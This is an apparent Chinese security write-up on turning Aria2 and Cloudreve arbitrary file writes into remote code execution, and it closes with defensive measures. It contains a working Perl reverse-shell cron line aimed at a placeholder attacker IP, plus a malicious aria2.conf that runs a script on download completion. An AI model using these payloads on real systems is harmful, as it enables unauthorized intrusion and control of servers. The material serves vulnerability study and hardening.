Aria2&Cloudreve&任意文件写入到RCE
字数 1206 2025-08-22 12:22:37

Aria2 & Cloudreve 任意文件写入到RCE漏洞分析与利用

1. Aria2 基础介绍

1.1 什么是Aria2

Aria2 是一个轻量级的命令行下载工具,支持多种协议:

  • HTTP/HTTPS
  • FTP/SFTP
  • BitTorrent
  • Metalink

特点:

  • 多源下载能力(可从多个服务器同时下载)
  • 资源占用少
  • 适合服务器和嵌入式系统使用
  • 通常配合Web前端(如YAAW)使用

1.2 Aria2 常见命令行操作

  1. 下载单个文件

    aria2c https://example.com/file.zip
    
  2. 多源下载

    aria2c https://example.com/file.zip ftp://example.org/file.zip
    
  3. BitTorrent下载

    aria2c file.torrent
    # 或使用磁力链接
    aria2c 'magnet:?xt=urn:btih:xxxxxxxx'
    
  4. 断点续传

    aria2c -c https://example.com/file.zip
    
  5. 批量下载

    aria2c -i downloads.txt
    
  6. 限速下载

    aria2c --max-download-limit=500K https://example.com/file.zip
    

2. Aria2 Web接口

2.1 JSON-RPC接口

默认RPC地址:

http://<host>:6800/jsonrpc
  • 默认端口6800可配置修改
  • Web前端通过此接口与Aria2通信

2.2 常见Web前端

YAAW (Yet Another Aria2 Web Frontend)

http://<host>:<port>/yaaw/index.html
  • 需要手动配置RPC URL为http://<host>:6800/jsonrpc

3. Aria2 任意文件写入漏洞

3.1 漏洞原理

通过控制下载任务参数,可将文件写入系统任意位置(需有写权限),包括:

  • 写入SSH公钥实现未授权访问
  • 写入cron计划任务实现RCE
  • 覆盖关键配置文件

3.2 漏洞利用步骤

  1. 设置RPC路径:在Web前端配置正确的JSON-RPC URL

  2. 创建恶意下载任务

    • 设置下载URL为恶意脚本
    • 设置保存路径为系统关键位置(如/etc/cron.d
  3. 恶意cron示例(每分钟反弹shell):

    */1 * * * * root /usr/bin/perl -e 'use Socket;$i="攻击者IP";$p=端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
  4. 利用vulhub环境测试

    https://github.com/thedogb/yaaw-docker
    

4. Cloudreve集成Aria2漏洞

4.1 Cloudreve与Aria2集成

Cloudreve通过RPC接口集成Aria2功能,用于:

  • 离线下载
  • 加速下载

4.2 文件编辑权限获取

  1. 通过专家模式修改存储策略

    • 进入管理面板 → 存储策略 → 专家模式
    • 修改配置后可访问系统文件
  2. 任意文件修改

    • 可修改/usr/aria2/aria2.conf等关键配置文件
    • 示例恶意配置:
      dir=/usr/aria2/data
      disable-ipv6=true
      enable-rpc=true
      max-download-limit=0
      max-upload-limit=0
      rpc-allow-origin-all=true
      rpc-listen-all=true
      rpc-listen-port=6801
      rpc-secure=false
      seed-ratio=0
      seed-time=0
      on-bt-download-complete=/root/backup.sh
      on-download-complete=/root/backup.sh
      

4.3 漏洞利用流程

  1. 修改aria2.conf指定恶意脚本路径
  2. 重新加载配置文件
  3. 创建离线下载任务触发脚本执行
  4. 获取反弹shell

5. 防御措施

  1. Aria2防护

    • 设置RPC访问密码(--rpc-secret
    • 限制RPC访问IP(--rpc-allow-origin-all=false
    • 使用--rpc-secure启用加密
    • 限制下载目录为安全路径
  2. Cloudreve防护

    • 限制专家模式访问权限
    • 定期审计配置文件修改
    • 隔离Aria2服务运行环境
  3. 系统层面

    • 使用最小权限原则运行服务
    • 定期更新软件版本
    • 监控关键文件修改

6. 参考资源

  1. Aria2任意文件写入漏洞分析 - Seebug Paper
  2. YAAW Docker测试环境
  3. Aria2官方文档
Aria2 & Cloudreve 任意文件写入到RCE漏洞分析与利用 1. Aria2 基础介绍 1.1 什么是Aria2 Aria2 是一个轻量级的命令行下载工具,支持多种协议: HTTP/HTTPS FTP/SFTP BitTorrent Metalink 特点: 多源下载能力(可从多个服务器同时下载) 资源占用少 适合服务器和嵌入式系统使用 通常配合Web前端(如YAAW)使用 1.2 Aria2 常见命令行操作 下载单个文件 : 多源下载 : BitTorrent下载 : 断点续传 : 批量下载 : 限速下载 : 2. Aria2 Web接口 2.1 JSON-RPC接口 默认RPC地址: 默认端口6800可配置修改 Web前端通过此接口与Aria2通信 2.2 常见Web前端 YAAW (Yet Another Aria2 Web Frontend) : 需要手动配置RPC URL为 http://<host>:6800/jsonrpc 3. Aria2 任意文件写入漏洞 3.1 漏洞原理 通过控制下载任务参数,可将文件写入系统任意位置(需有写权限),包括: 写入SSH公钥实现未授权访问 写入cron计划任务实现RCE 覆盖关键配置文件 3.2 漏洞利用步骤 设置RPC路径 :在Web前端配置正确的JSON-RPC URL 创建恶意下载任务 : 设置下载URL为恶意脚本 设置保存路径为系统关键位置(如 /etc/cron.d ) 恶意cron示例 (每分钟反弹shell): 利用vulhub环境测试 : 4. Cloudreve集成Aria2漏洞 4.1 Cloudreve与Aria2集成 Cloudreve通过RPC接口集成Aria2功能,用于: 离线下载 加速下载 4.2 文件编辑权限获取 通过专家模式修改存储策略 : 进入管理面板 → 存储策略 → 专家模式 修改配置后可访问系统文件 任意文件修改 : 可修改 /usr/aria2/aria2.conf 等关键配置文件 示例恶意配置: 4.3 漏洞利用流程 修改 aria2.conf 指定恶意脚本路径 重新加载配置文件 创建离线下载任务触发脚本执行 获取反弹shell 5. 防御措施 Aria2防护 : 设置RPC访问密码( --rpc-secret ) 限制RPC访问IP( --rpc-allow-origin-all=false ) 使用 --rpc-secure 启用加密 限制下载目录为安全路径 Cloudreve防护 : 限制专家模式访问权限 定期审计配置文件修改 隔离Aria2服务运行环境 系统层面 : 使用最小权限原则运行服务 定期更新软件版本 监控关键文件修改 6. 参考资源 Aria2任意文件写入漏洞分析 - Seebug Paper YAAW Docker测试环境 Aria2官方文档